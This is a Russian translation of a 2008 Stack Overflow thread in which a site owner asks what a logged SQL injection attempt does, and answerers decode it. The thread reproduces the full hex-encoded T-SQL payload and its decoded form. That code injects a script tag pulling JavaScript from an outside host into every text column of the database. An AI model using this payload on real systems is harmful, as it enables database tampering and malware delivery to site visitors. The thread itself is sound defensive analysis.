Атака SQL-инъекции - что здесь происходит? [Дубликат]

Возможный дубликат:
Попытка атаки с использованием SQL-инъекции - что они пытаются сделать?

Я видел эту попытку SQL-инъекции на моем сайте много раз за последние несколько месяцев.

';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

Проходя через мой код, я уверен, что я защищен, потому что я запрашиваю набор данных в памяти, а не саму базу данных. Однако, хотя я уверен, что я защищен, я не до конца понимаю, что происходит с этой попыткой атаки, и хотел бы выяснить это, чтобы в будущем я мог избежать написания кода, который может быть уязвим для него.

Может кто-нибудь объяснить мне, что эти хакеры пытаются сделать с этим кодом?

Спасибо.

-Этот код добавляется в строку запроса, а также отправляется как данные поста.

15.12.2008 22:54:13
Если вы уже заражены, обратитесь к этой ветке SO за помощью в решении проблемы: stackoverflow.com/questions/32412/…
Dillie-O 15.12.2008 23:07:01
Похоже, вы более подготовлены, чем некоторые другие сайты: blogs.zdnet.com/security/?p=2039
Jimmy 15.12.2008 23:21:28
Да, я привык видеть попытки взлома со стандартными попытками SQL-инъекций, пытаясь получить ссылки на сайте, а что нет. Когда я увидел это, я подумал - вау, это довольно умно, мне лучше проверить мой источник, чтобы найти возможные направления атаки.
Ryan Smith 16.12.2008 02:00:53
4 ОТВЕТА
РЕШЕНИЕ

Примечание: мое первое объяснение было неверным, потому что я на самом деле не прочитал все это ...

вот что это значит. Он ищет в вашей базе данных столбцы text или varchar (b.xtype в 99,35,231,167), а затем внедряет файл javascript во все текстовые столбцы вашей базы данных. Немного злее, чем я думал.

DECLARE 
    @T varchar(255),
    @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR 
    select a.name,b.name 
    from sysobjects a,syscolumns b 
    where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT 
FROM  Table_Cursor 
INTO @T,@C 

WHILE(@@FETCH_STATUS=0) 
BEGIN exec('update ['+@T+'] set ['+@C+']=''">
    </title>
    <script src="http://www2.s800qn.cn/csrss/w.js"></script>
      <!--''+['+@C+'] where '+@C+' not like ''%">
    </title>
    <script src="http://www2.s800qn.cn/csrss/w.js"></script><!--'
'')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END 

CLOSE Table_Cursor 
DEALLOCATE Table_Cursor
20
15.12.2008 23:15:12
@ Джимми: как ты расшифровал это?
Dan Vinton 15.12.2008 22:58:53
Я запустил его на своем сервере sql: P
Jimmy 15.12.2008 22:59:51
если вы хотите сделать это вручную, каждые 2 шестнадцатеричных цифры определяют число 0-255, которое вы ищите в таблице ASCII.
Jimmy 15.12.2008 23:02:52
«Я запустил его на моем сервере sql» - Ха! +1 за храбрость! В любом случае, это хороший способ запутать SQL ...
Dan Vinton 15.12.2008 23:35:46
Я, конечно, не запускал последний "EXEC (@S);";)
Jimmy 15.12.2008 23:39:17

В дополнение к сообщению Джимми: вы также можете использовать переводчик hex-ascii, чтобы получить это:

DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR  FOR select 
a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT 
FROM  Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www2.s800qn.cn
/csrs/w.js"></script>''+['+@C+'] where '+@C+' not like ''%"></title><script 
src="http://www2.s800qn.cn/csrss/w.js"></script>''')FETCH NEXT FROM  Table_Cursor INTO 
@T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
3
15.12.2008 23:01:48
Я столкнулся с этим некоторое время назад и создал небольшое приложение Winforms, которое также сделает перевод для вас, благодаря некоторой помощи от некоторых SO здесь: codeplex.com/urldecoder
Dillie-O 15.12.2008 23:05:38
jason saldo 15.12.2008 23:05:54
Ух ты, я пошел на всю эту сумасшедшую работу, и все же уже был веб-сайт, который проскальзывал в моих гуглящих пальцах ... Ну, по крайней мере, я узнал кое-что новое в процессе. 8 ^ D
Dillie-O 15.12.2008 23:22:37

На самом деле Джимми, если вы анализируете этот код, он использует курсор для вставки ссылки javascript на hxxp: //www2.s800qn.cn/csrss/w.js в каждое текстовое поле в базе данных.

Это означает, что они не заботятся о вашей базе данных, а хотят использовать вашу страницу для кражи данных у пользователей, просматривающих ее.

Эта ссылка на javascript теперь неактивна, но, вероятно, она содержала код для захвата файлов cookie пользователей.

7
23.09.2011 19:25:05
да, я заметил это после того, как опубликовал свой оригинальный ответ, поэтому я переписал. Спасибо за улов
Jimmy 15.12.2008 23:15:57
Cripes ... StackOverflow автоматически превращает какие-либо строки " blahblah.com " в активные ссылки? Я знаю, что ты не сделал это нарочно! :)
Bryan 17.02.2009 03:45:47

Просто чтобы помочь, если вы еще не поняли, это автоматическая атака, не предназначенная. А целью включенного файла .js является распространение вредоносных программ с использованием вашего веб-сайта, и он включает в себя несколько эксплойтов, в основном предназначенных для пользователей IE.

2
15.12.2008 23:17:20